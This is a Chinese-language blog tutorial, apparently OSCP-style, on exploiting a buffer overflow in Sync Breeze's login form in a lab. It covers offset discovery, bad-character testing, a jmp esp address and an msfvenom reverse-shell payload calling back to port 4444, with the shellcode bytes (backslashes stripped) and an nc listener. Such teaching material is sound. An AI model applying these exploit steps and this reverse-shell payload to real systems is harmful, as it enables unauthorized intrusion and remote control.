缓冲区溢出攻击及获取权限

admin 2025年1月28日02:28:39评论10 views字数 3358阅读11分11秒阅读模式

 

一、前言

1、声明

来自本公众号的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他用途!!!

2、测试环境

服务端软件:Sync Breeze Client(文件管理同步)

缓冲区溢出攻击及获取权限

二、缓冲溢出攻击演示

1、登陆页面

http://127.0.0.1/login
缓冲区溢出攻击及获取权限

2、修改登录框字符长度

缓冲区溢出攻击及获取权限
缓冲区溢出攻击及获取权限

3、python生成800个字符(脏字符)

python
print ("A" * 800)  #输出800个A
缓冲区溢出攻击及获取权限

4、将脏字符复制到输入框并登陆

缓冲区溢出攻击及获取权限
缓冲区溢出攻击及获取权限

5、查看攻击结果

缓冲区溢出攻击及获取权限
缓冲区溢出攻击及获取权限

三、调试器测试注入脏数据查看偏移量

1、调试器加载sync breeze enterprise进程

缓冲区溢出攻击及获取权限
缓冲区溢出攻击及获取权限
缓冲区溢出攻击及获取权限

2、再次注入全部为A的脏字符数据

缓冲区溢出攻击及获取权限
缓冲区溢出攻击及获取权限

因为注入的是相同的数据,所以判断不到EIP的位置
注入随机脏数据找到EIP地址位置
所以我们需要使用kali去生成不同的脏数据以便我们进行判断位置

3、kali生成不同的脏数据

msf-pattern_create -l 800
# msf-pattern_create: 这是 Metasploit 中的一个工具,用于生成模式字符串。
# -l 800: 这个选项指定了生成的模式字符串的长度,这里是 800 字节。
# msf-pattern_create在oscp的考试中不受限的
缓冲区溢出攻击及获取权限

4、再次注入用kali生成不同的脏字符数据(定位EIP的偏移量)

(后面我会用poc脚本去执行这个攻击操作就不再演示  )缓冲区溢出攻击及获取权限

缓冲区溢出攻击及获取权限

5、kali查询eip偏移量

msf-pattern_offset -l 800 -q 42306142
缓冲区溢出攻击及获取权限
缓冲区溢出攻击及获取权限

由于Ba0B在调试器Debgger查询难度较大(太多了看的眼花)我们需要用到更精准方便查询的方法

6、再次注入用python生成更精准的脏字符数据

用780个A注入去进行填充,,这样除了A以外的脏字符就很容易找到了

python
print('A' * 780 + 'B' * 4 + 'C' * 4)
缓冲区溢出攻击及获取权限
缓冲区溢出攻击及获取权限
缓冲区溢出攻击及获取权限

四、测试可以写入ESP寄存器的字符长度是否足够写入攻击payload

1、生成脏字符(计划2000字符测试)

python
print('A' * 780 + 'B' * 4 + 'C' * 4 + 'D' * 212 + 'E' * 200 + 'F' * 200 + 'G' * 200 + 'H' * 200 + 'I' * 200)
# 创建一个由780个A,4个B,4个C,212个E,200个F,200个G,200个H,200个I(共计2000)的字符串
缓冲区溢出攻击及获取权限

2、再次注入脏字符(2000字符)

缓冲区溢出攻击及获取权限
缓冲区溢出攻击及获取权限

五、测试坏字符

一些字符如果插入进去会引起这个程序的崩溃,把所有16进制的字符利用脚本一个个测试,然后内存中会有一些安全机制,如果输入的字符被删掉,或者替换掉了,就说明这个是坏字符。

1、找到第一个出现的坏字符

缓冲区溢出攻击及获取权限
缓冲区溢出攻击及获取权限

2、去掉第一个找到的坏字符,继续排除

缓冲区溢出攻击及获取权限以此类推,我们排除了以下所有坏字符:

x00x0Ax0Dx25x26x2Bx3D

六、查找jmp esp指令的内存地址

利用EIP返回,指向一个固定不变的地址,就是栈顶,找jmp esp
jmp:是“Jump”的缩写,意为“跳转”。这个指令会导致程序的执行流跳转到指定的地址。
esp:如前所述,指的是ESP寄存器的值,它当前指向堆栈的顶部。

1、kali转换jmp esp成16进制的操作数

msf-nasm_shell
jmp esp
# FFE4
缓冲区溢出攻击及获取权限

2、调试器加载mona插件

缓冲区溢出攻击及获取权限

3、调试器列出所有模块,并选择未启用安全机制的模块(例如libspp.dll)

!mona modules
缓冲区溢出攻击及获取权限
缓冲区溢出攻击及获取权限

4、筛选libspp.dll模块中包含 FFE4 (jmp esp)的地址

!mona find -s "xffxe4" -m "libspp.dll"
# !mona find:  Mona 的 find 功能,用于在指定的模块中搜索特定的字节模式
# -s "xffxe4": 搜索的字节序列,这里是 jmp esp 指令的机器码,也是我们第一步jmp esp转换16进制。 
# -m "libspp.dll": 指定要搜索的目标模块,这里是 libspp.dll。
缓冲区溢出攻击及获取权限
缓冲区溢出攻击及获取权限
10090C83  #复制出来的汇编命令地址,16进制需要在前面加一个0x
0x10090C83

5、汇编命令搜索jmp esp

0x10090C83 #第四步筛选出来地址 
缓冲区溢出攻击及获取权限
缓冲区溢出攻击及获取权限
缓冲区溢出攻击及获取权限

七、构造反弹shell

1、生成payload

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.60.128 LPORT=4444 -f c -b "x00x0Ax0Dx25x26x2Bx3D" EXITFUNC=thread
# -p windows/shell_reverse_tcp: 指定生成的 payload 类型为 Windows 平台的反向 TCP Shell。
# LHOST=192.168.60.128: 设置本地主机的 IP 地址,攻击者监听的地址。
# LPORT=4444: 设置本地主机监听的端口
# -f c: 指定输出格式为 C 语言源代码。
# -b "x00x0Ax0Dx25x26x2Bx3D": 排除指定的坏字符(null 字节、换行符、回车符、百分号、& 符号、加号、等号)。
# EXITFUNC=thread: 指定退出函数为线程方式,避免进程异常终止。


"xd9xcfxd9x74x24xf4xbbx9bxefxd6x95x5ex31xc9"
"xb1x52x83xeexfcx31x5ex13x03xc5xfcx34x60x05"
"xeax3bx8bxf5xebx5bx05x10xdax5bx71x51x4dx6c"
"xf1x37x62x07x57xa3xf1x65x70xc4xb2xc0xa6xeb"
"x43x78x9ax6axc0x83xcfx4cxf9x4bx02x8dx3exb1"
"xefxdfx97xbdx42xcfx9cx88x5ex64xeex1dxe7x99"
"xa7x1cxc6x0cxb3x46xc8xafx10xf3x41xb7x75x3e"
"x1bx4cx4dxb4x9ax84x9fx35x30xe9x2fxc4x48x2e"
"x97x37x3fx46xebxcax38x9dx91x10xccx05x31xd2"
"x76xe1xc3x37xe0x62xcfxfcx66x2cxccx03xaax47"
"xe8x88x4dx87x78xcax69x03x20x88x10x12x8cx7f"
"x2cx44x6fxdfx88x0fx82x34xa1x52xcbxf9x88x6c"
"x0bx96x9bx1fx39x39x30xb7x71xb2x9ex40x75xe9"
"x67xdex88x12x98xf7x4ex46xc8x6fx66xe7x83x6f"
"x87x32x03x3fx27xedxe4xefx87x5dx8dxe5x07x81"
"xadx06xc2xaax44xfdx85x14x30xc1xd5xfdx43x39"
"xc7xa1xcaxdfx8dx49x9bx48x3axf3x86x02xdbxfc"
"x1cx6fxdbx77x93x90x92x7fxdex82x43x70x95xf8"
"xc2x8fx03x94x89x02xc8x64xc7x3ex47x33x80xf1"
"x9exd1x3cxabx08xc7xbcx2dx72x43x1bx8ex7dx4a"
"xeexaax59x5cx36x32xe6x08xe6x65xb0xe6x40xdc"
"x72x50x1bxb3xdcx34xdaxffxdex42xe3xd5xa8xaa"
"x52x80xecxd5x5bx44xf9xaex81xf4x06x65x02x14"
"xe5xafx7fxbdxb0x3axc2xa0x42x91x01xddxc0x13"
"xfax1axd8x56xffx67x5ex8bx8dxf8x0bxabx22xf8"
"x19"
缓冲区溢出攻击及获取权限

2、攻击机监听端口

nc -nlvvp 4444  
# 启动监听服务,等待 Shell 连接
缓冲区溢出攻击及获取权限

3、运行poc.py脚本反弹shell

缓冲区溢出攻击及获取权限
缓冲区溢出攻击及获取权限

原文始发于微信公众号(泷羽SEC-ohh):缓冲区溢出攻击及获取权限

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月28日02:28:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   缓冲区溢出攻击及获取权限https://cn-sec.com/archives/3680946.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息